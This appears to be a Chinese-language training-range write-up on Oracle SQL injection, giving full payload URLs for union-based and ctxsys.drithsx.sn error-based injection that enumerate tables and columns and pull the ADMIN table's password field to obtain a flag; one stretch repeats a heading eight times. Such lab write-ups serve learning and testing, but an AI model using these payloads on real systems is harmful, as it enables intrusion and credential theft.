http://59.63.200.79:8808/index_x.php
这个网址提供了,Oracle的数据库接口,我们就可以直接用这个,而不用自己搭建了。
dual这个是一个虚表,是不存在的,是为了专门满足格式而存在的一个表。
因为你Oracle不像mysql一样,后面不加表也行,他是必须加个表名满足格式,但是为了方便就提供了dual这个表。
Oracle弱化了库的概念,强化了用户的概念。就是说把库换成了用户来查询数据。
oracle里面有多个条数据,他就排序多少个rownum,有点像mysql里的id
开始注入
and 1=1回显正常
http://59.63.200.79:8808/index.php?id=1%20and%201=1
and 1=2 回显错误,说明存在sql注入
http://59.63.200.79:8808/index.php?id=1%20and%201=2
判断字段数
order by 4回显正常
http://59.63.200.79:8808/index.php?id=1%20order%20by%204
order by 5回显错误
http://59.63.200.79:8808/index.php?id=1%20order%20by%205
这里用的null来用作占位符。
union select null,null,null,null from dual
我们进入靶场后台,看看Oracle数据库
我们输入后并没有得到我们想要的结果,那是因为前面的id=1是存在的,并输出了,然后把后面的掩盖了
union all select 1,null,to_nchar('a'),null from dual
我们把1换成不存在的一个数,这里我换成了22222。。。因为222不存在,所以就输出我们的语句。
http://59.63.200.79:8808/index.php?id=222222222222222222%20union%20all%20select%201,null,to_nchar(%27a%27),null%20from%20dual
查询表名
http://59.63.200.79:8808/index.php?id=2222222222222222%20union%20all%20select%201,null,to_nchar(TABLE_NAME),null%20from%20user_tables
第二个表,后面的筛选条件是除了NEWS这个表
http://59.63.200.79:8808/index.php?id=2222222222222222%20union%20all%20select%201,null,to_nchar(TABLE_NAME),null%20from%20user_tables%20where%20TABLE_NAME%3C%3E%27NEWS%27
第二个表,后面的筛选条件是除了NEWS和ADMIN这个表
http://59.63.200.79:8808/index.php?id=2222222222222222%20union%20all%20select%201,null,to_nchar(TABLE_NAME),null%20from%20user_tables%20where%20TABLE_NAME%3C%3E%27NEWS%27%20and%20TABLE_NAME%3C%3E%27ADMIN%27
这里有多少条数据,她就会自动排序多少个数字。(升序来序)
相当于取上面个表的第一条数据。
select username from (select rownum r,username from all_users) where r=1
这里的r只是一个别名,就像你小时候的别名一样。
查询字段。
我们只要改变r的值,那么就可以改变字段。这里我查的是第一条,所以是r=1,然后第一个字段为ID
http://59.63.200.79:8808/index.php?id=222222222222222%20union%20all%20select%201,null,to_nchar(column_name),null%20from%20(select%20rownum%20r,column_name%20from%20user_tab_columns)%20where%20r=1
当r=3的时候,我们可以得出UPASS,很显然是密码栏。
http://59.63.200.79:8808/index.php?id=222222222222222%20union%20all%20select%201,null,to_nchar(column_name),null%20from%20(select%20rownum%20r,column_name%20from%20user_tab_columns)%20where%20r=3
获取admin表为UPASS字段的第一个字段值。
http://59.63.200.79:8808/index.php?id=222222222222222%20union%20all%20select%201,null,to_nchar(UPASS),null%20from%20(select%20rownum%20r,UPASS%20from%20admin)%20where%20r=1
同样,想看第三个值的话,就变换r的值就好了
http://59.63.200.79:8808/index.php?id=222222222222222%20union%20all%20select%201,null,to_nchar(UPASS),null%20from%20(select%20rownum%20r,UPASS%20from%20admin)%20where%20r=3
flag成功拿到!!!!!
方法二
方法二
方法二
方法二
方法二
方法二
方法二
方法二
好的,测试结束,之前我们是知道数据类型,我们才用对应的去转换。但是在实际的渗透中,是不可能明确知道数据类型的。
就2种方法,要么我们用显错注入去尝试数据类型,但是这种比较费时,而且还必须有回显点才行。
要么我们用报错注入来渗透,这种方法的好处是,就算没有回显点,也不知道数据类型,我们也可以渗透。
27
补充一点:代码不区分大小写,数据才区分大小写。
那么我们现在的核心就是报错注入。
首先熟悉一下Oracle数据库的查询方式:
选择表:table_name='tablename'
当前正在使用的Oracle数据库:user_tables
(只包含表)
当前正在使用的Oracle数据库和库里所有表的表字段:user_tab_columns
(只包含表和表字段。)
查询所有表:Selectfrom all_tables
查询出当前用户的表:select from user_tables
查询出所有字段:selectfrom all_tab_columns
查询出当前用户的字段:selectfrom user_tab_columns
查询数据库版本:select*from V$version
联合查询注入语句:union all select null,null,null from dual
若无法联合查询注入,采用报错函数ctxsys.drithsx.sn(user,(语句))
报错注入无法输出太多,在mysql中使用limit m,n限制,在Oracle中使用rownum=1 and条件 and条件 来限定
上靶场:http://59.63.200.79:8808
首先检测是否可注入以及闭合条件:
CTXSYS.DRITHSX.SN(user,(date)) 相当于是搜索函数。里面填写用户和数据,查询失败,爆出致命错误,但是里面填写的数据成功执行,并跟着这个致命报错一起显示出来。
先看下实例
ADMIN表下的字段
查看字段属于哪个表。
查表
利用这个报错,成功把我们要查询的内容给报出来了。
http://59.63.200.79:8808/index.php?id=2222222222222%20and%201=ctxsys.drithsx.sn(1,(select%20table_name%20from%20user_tables%20where%20rownum=1))
第二个表,这里用了table_name<>‘NEWS’,就是排除这个表。
http://59.63.200.79:8808/index.php?id=2222222222222%20and%201=ctxsys.drithsx.sn(1,(select%20table_name%20from%20user_tables%20where%20rownum=1%20and%20table_name%3C%3E%27NEWS%27))
查字段
上面查表的时候我们使用的user_tables
表示当前数据库的所有表。
但是我们这里要查字段,就不能用user_tables
了,应该用user_tab_columns
表示当前数据库的所有表和所有表里的字段。(其实上面查表的时候也可以用这个user_tab_columns
)
http://59.63.200.79:8808/index.php?id=2222222222222%20and%201=ctxsys.drithsx.sn(1,(select%20column_name%20from%20user_tab_columns%20where%20rownum=1%20and%20table_name=%27ADMIN%27))
查第二个字段这里用了column_name<>‘ID’,就是排除这个字段。
http://59.63.200.79:8808/index.php?id=2222222222222%20and%201=ctxsys.drithsx.sn(1,(select%20column_name%20from%20user_tab_columns%20where%20rownum=1%20and%20table_name=%27ADMIN%27%20and%20column_name%3C%3E%27ID%27))
查第3个字段这里用了column_name<>‘ID’,column_name<>‘UNAME’,就是排除这2个字段。
http://59.63.200.79:8808/index.php?id=2222222222222%20and%201=ctxsys.drithsx.sn(1,(select%20column_name%20from%20user_tab_columns%20where%20rownum=1%20and%20table_name=%27ADMIN%27%20and%20column_name%3C%3E%27ID%27%20and%20column_name%3C%3E%27UNAME%27))
我们查出来一个字段为UPASS,很明显,这个就是密码字段。那么我们就来查她的字段值。
http://59.63.200.79:8808/index.php?id=2222222222222%20and%201=ctxsys.drithsx.sn(1,(select%20UPASS%20from%20ADMIN%20WHERE%20ROWNUM=1))
查字段第二种方法,自己构造一个新表。
http://59.63.200.79:8808/index.php?id=2222222222222%20and%201=ctxsys.drithsx.sn(1,(select%20UPASS%20from%20(select%20rownum%20r,UPASS%20from%20ADMIN)%20%20WHERE%20r=3))
关于 rownum r上面有介绍。
最后得到flag :2a61f8bcfe7535eadcfa69eb4406ceb9